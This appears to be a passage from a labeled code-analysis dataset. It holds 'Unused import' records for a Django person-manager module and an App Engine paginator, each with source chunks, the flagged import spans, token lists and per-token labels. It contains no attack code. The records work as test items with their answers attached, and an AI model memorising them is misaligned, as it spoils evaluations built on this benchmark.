Unused import
ofri/Open-Knesset/persons/managers.py
[ { "content": "from django.utils.encoding import smart_text\nfrom django.db.models import Q, Manager, Model\nfrom django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class PersonManager(Manager):\n", "metadata": "root.PersonManager", "header": "['module', '___EOS___']", "index": 4 }, { "content": " def get_by_name(self, name, create=False):\n name = smart_text(name)\n persons = self.filter((Q(aliases__name__in=name) | Q(name=name)))\n if persons:\n return persons[0]\n else:\n if create:\n return self.create(name=name)\n return None", "metadata": "root.PersonManager.get_by_name", "header": "['class', 'PersonManager', '(', 'Manager', ')', ':', '___EOS___']", "index": 6 } ]
[ { "span": "from django.db.models import Q, Manager, Model", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 46 }, { "span": "from django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 78 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "encoding_", "import_", "smart", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "import_", "Q_", ",_", "Manager_", ",_", "Model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "exceptions_", "import_", "Multipl", "e", "Object", "s", "Return", "ed_", ",_", "Object", "Do", "es", "Not", "Exist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Person", "Manager_", "(_", "Manager_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Person", "Manager_", "(_", "Manager_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "by", "\\u", "name_", "(_", "self_", ",_", "name_", ",_", "create_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "smart", "\\u", "text_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "persons_", "=_", "self_", "._", "filter_", "(_", "(_", "Q_", "(_", "alias", "es", "\\u\\u", "name", "\\u\\u", "in_", "=_", "name_", ")_", "|_", "Q_", "(_", "name_", "=_", "name_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "persons_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "persons_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "create_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "create_", "(_", "name_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
kuri65536/python-for-android/python-build/python-libs/gdata/samples/oauth/oauth_on_appengine/appengine_utilities/paginator.py
[ { "content": "\"\"\"\nCopyright (c) 2008, appengine-utilities project\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n- Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n- Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n- Neither the name of the appengine-utilities project nor the names of its\n contributors may be used to endorse or promote products derived from this\n software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nfrom google.appengine.ext import db\nfrom cache import Cache\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Paginator(object):\n \"\"\"\n This class is used for maintaining pagination objects.\n \"\"\"\n", "metadata": "root.Paginator", "header": "['module', '___EOS___']", "index": 30 }, { "content": " @classmethod\n def get(cls, count=10, q_filters={}, search=None, start=None, model=None, \\\n order='ASC', order_by='__key__'):\n \"\"\"\n get queries the database on model, starting with key, ordered by\n order. It receives count + 1 items, returning count and setting a\n next field to the count + 1 item key. It then reverses the sort, and\n grabs count objects, returning the last as a the previous.\n\n Arguments:\n count: The amount of entries to pull on query\n q_filter: The filter value (optional)\n search: Search is used for SearchableModel searches\n start: The key to start the page from\n model: The Model object to query against. This is not a\n string, it must be a Model derived object.\n order: The order in which to pull the values.\n order_by: The attribute to order results by. This defaults to\n __key__\n\n Returns a dict:\n {\n 'next': next_key,\n 'prev': prev_key,\n 'items': entities_pulled\n }\n \"\"\"\n\n # argument validation\n if model == None:\n raise ValueError('You must pass a model to query')\n\n # a valid model object will have a gql method.\n if callable(model.gql) == False:\n raise TypeError('model must be a valid model object.')\n\n # cache check\n cache_string = \"gae_paginator_\"\n for q_filter in q_filters:\n cache_string = cache_string + q_filter + \"_\" + q_filters[q_filter] + \"_\"\n cache_string = cache_string + \"index\"\n c = Cache()\n if c.has_key(cache_string):\n return c[cache_string]\n\n # build query\n query = model.all()\n if len(q_filters) > 0:\n for q_filter in q_filters:\n query.filter(q_filter + \" = \", q_filters[q_filter])\n if start:\n if order.lower() == \"DESC\".lower():\n query.filter(order_by + \" <\", start)\n else:\n query.filter(order_by + \" >\", start)\n if search:\n query.search(search)\n if order.lower() == \"DESC\".lower():\n query.order(\"-\" + order_by)\n else:\n query.order(order_by)\n results = query.fetch(count + 1)\n if len(results) == count + 1:\n next = getattr(results[count - 1], order_by)\n # reverse the query to get the value for previous\n if start is not None:\n rquery = model.all()\n for q_filter in q_filters:\n rquery.filter(q_filter + \" = \", q_filters[q_filter])\n if search:\n query.search(search)\n if order.lower() == \"DESC\".lower():\n rquery.order(order_by)\n else:\n rquery.order(\"-\" + order_by)\n rresults = rquery.fetch(count)\n previous = getattr(results[0], order_by)\n else:\n previous = None\n else:\n next = None\n return {\n \"results\": results,\n \"next\": next,\n \"previous\": previous\n }", "metadata": "root.Paginator.get", "header": "['class', 'Paginator', '(', 'object', ')', ':', '___EOS___']", "index": 35 } ]
[ { "span": "from google.appengine.ext import db", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 35 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "2008", ",", " ", "appengine", "-", "util", "iti", "es", " ", "project", "\\", "10", ";", "All", " ", "rights", " ", "reserve", "d", ".", "\\", "10", ";", "\\", "10", ";", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out", "\\", "10", ";", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":", "\\", "10", ";", "-", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",", " ", "this", "\\", "10", ";", " ", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", ".", "\\", "10", ";", "-", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",", "\\", "10", ";", " ", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", "\\", "10", ";", " ", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", ".", "\\", "10", ";", "-", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "the", " ", "appengine", "-", "util", "iti", "es", " ", "project", " ", "nor", " ", "the", " ", "names", " ", "of", " ", "its", "\\", "10", ";", " ", " ", "contributor", "s", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", "\\", "10", ";", " ", " ", "software", " ", "with", "out", " ", "specific", " ", "prior", " ", "writt", "en", " ", "permissi", "on", ".", "\\", "10", ";", "\\", "10", ";", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS", " ", "IS", "\"", " ", "AND", "\\", "10", ";", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", "\\", "10", ";", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "ARE", "\\", "10", ";", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", "\\", "10", ";", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", "\\", "10", ";", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", "\\", "10", ";", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", "\\", "10", ";", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", "\\", "10", ";", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "\\", "10", ";", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "google_", "._", "appengine_", "._", "ext_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cache_", "import_", "Cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Paginator_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "class", " ", "is", " ", "used", " ", "for", " ", "maintain", "ing", " ", "pagina", "tion", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Paginator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get_", "(_", "cls_", ",_", "count_", "=_", "10_", ",_", "q", "\\u", "filters_", "=_", "{_", "}_", ",_", "search_", "=_", "None_", ",_", "start_", "=_", "None_", ",_", "model_", "=_", "None_", ",_", "order_", "=_", "'", "ASC", "'_", ",_", "order", "\\u", "by_", "=_", "'\\u", "\\u", "key", "\\u\\u'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "querie", "s", " ", "the", " ", "databa", "se", " ", "on", " ", "model", ",", " ", "startin", "g", " ", "with", " ", "key", ",", " ", "order", "ed", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "order", ".", " ", "It", " ", "receive", "s", " ", "count", " ", "+", " ", "1", " ", "items", ",", " ", "return", "ing", " ", "count", " ", "and", " ", "setti", "ng", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "next", " ", "field", " ", "to", " ", "the", " ", "count", " ", "+", " ", "1", " ", "item", " ", "key", ".", " ", "It", " ", "then", " ", "reverse", "s", " ", "the", " ", "sort", ",", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "gra", "bs", " ", "count", " ", "object", "s", ",", " ", "return", "ing", " ", "the", " ", "last", " ", "as", " ", "a", " ", "the", " ", "previ", "ous", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "count", ":", " ", " ", " ", " ", " ", "The", " ", "amo", "unt", " ", "of", " ", "entri", "es", " ", "to", " ", "pull", " ", "on", " ", "query", "\\", "10", ";", " ", " ", " ", " ", "q", "\\u", "filter", ":", " ", " ", "The", " ", "filter", " ", "value", " ", "(", "option", "al", ")", "\\", "10", ";", " ", " ", " ", " ", "search", ":", " ", " ", " ", " ", "Sear", "ch", " ", "is", " ", "used", " ", "for", " ", "Sear", "chab", "le", "Model", " ", "searche", "s", "\\", "10", ";", " ", " ", " ", " ", "start", ":", " ", " ", " ", " ", " ", "The", " ", "key", " ", "to", " ", "start", " ", "the", " ", "page", " ", "from", "\\", "10", ";", " ", " ", " ", " ", "model", ":", " ", " ", " ", " ", " ", "The", " ", "Model", " ", "object", " ", "to", " ", "query", " ", "against", ".", " ", "Thi", "s", " ", "is", " ", "not", " ", "a", "\\", "10", ";", " ", " ", " ", " ", " ", "string", ",", " ", "it", " ", "must", " ", "be", " ", "a", " ", "Model", " ", "derive", "d", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "order", ":", " ", " ", " ", " ", " ", "The", " ", "order", " ", "in", " ", "whi", "ch", " ", "to", " ", "pull", " ", "the", " ", "values", ".", "\\", "10", ";", " ", " ", " ", " ", "order", "\\u", "by", ":", " ", " ", "The", " ", "attribute", " ", "to", " ", "order", " ", "results", " ", "by", ".", " ", "Thi", "s", " ", "default", "s", " ", "to", "\\", "10", ";", " ", " ", " ", " ", " ", "\\u\\u", "key", "\\u\\u", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "dict", ":", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "'", "next", "':", " ", "next", "\\u", "key", ",", "\\", "10", ";", " ", " ", " ", " ", "'", "prev", "':", " ", "prev", "\\u", "key", ",", "\\", "10", ";", " ", " ", " ", " ", "'", "items", "':", " ", "entit", "ies", "\\u", "pull", "ed", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "argu", "ment", " ", "validation_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "model_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "You", " ", "must", " ", "pass", " ", "a", " ", "model", " ", "to", " ", "query", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "valid", " ", "model", " ", "object", " ", "will", " ", "have", " ", "a", " ", "gq", "l", " ", "method", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "callable_", "(_", "model_", "._", "gq", "l_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "model", " ", "must", " ", "be", " ", "a", " ", "valid", " ", "model", " ", "object", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "cache", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cache", "\\u", "string_", "=_", "\"", "gae", "\\u", "pagina", "tor", "\\u\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "q", "\\u", "filter_", "in_", "q", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cache", "\\u", "string_", "=_", "cache", "\\u", "string_", "+_", "q", "\\u", "filter_", "+_", "\"\\u\"_", "+_", "q", "\\u", "filters_", "[_", "q", "\\u", "filter_", "]_", "+_", "\"\\u\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cache", "\\u", "string_", "=_", "cache", "\\u", "string_", "+_", "\"", "index", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "Cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "c_", "._", "has", "\\u", "key_", "(_", "cache", "\\u", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "c_", "[_", "cache", "\\u", "string_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "query_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query_", "=_", "model_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "q", "\\u", "filters_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "q", "\\u", "filter_", "in_", "q", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "filter_", "(_", "q", "\\u", "filter_", "+_", "\"", " ", "=", " ", "\"_", ",_", "q", "\\u", "filters_", "[_", "q", "\\u", "filter_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "start_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "order_", "._", "lower_", "(_", ")_", "==_", "\"", "DESC", "\"_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "filter_", "(_", "order", "\\u", "by_", "+_", "\"", " ", "<\"_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "filter_", "(_", "order", "\\u", "by_", "+_", "\"", " ", ">\"_", ",_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "search_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "search_", "(_", "search_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "order_", "._", "lower_", "(_", ")_", "==_", "\"", "DESC", "\"_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "order_", "(_", "\"-\"_", "+_", "order", "\\u", "by_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "._", "order_", "(_", "order", "\\u", "by_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "query_", "._", "fetch_", "(_", "count_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "results_", ")_", "==_", "count_", "+_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next_", "=_", "getattr_", "(_", "results_", "[_", "count_", "-_", "1_", "]_", ",_", "order", "\\u", "by_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "reverse", " ", "the", " ", "query", " ", "to", " ", "get", " ", "the", " ", "value", " ", "for", " ", "previous_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "start_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rq", "uery_", "=_", "model_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "q", "\\u", "filter_", "in_", "q", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rq", "uery_", "._", "filter_", "(_", "q", "\\u", "filter_", "+_", "\"", " ", "=", " ", "\"_", ",_", "q", "\\u", "filters_", "[_", "q", "\\u", "filter_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "search_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "query_", "._", "search_", "(_", "search_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "order_", "._", "lower_", "(_", ")_", "==_", "\"", "DESC", "\"_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rq", "uery_", "._", "order_", "(_", "order", "\\u", "by_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rq", "uery_", "._", "order_", "(_", "\"-\"_", "+_", "order", "\\u", "by_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rre", "sult", "s_", "=_", "rq", "uery_", "._", "fetch_", "(_", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "previous_", "=_", "getattr_", "(_", "results_", "[_", "0_", "]_", ",_", "order", "\\u", "by_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "previous_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "results", "\"_", ":_", "results_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported more than once
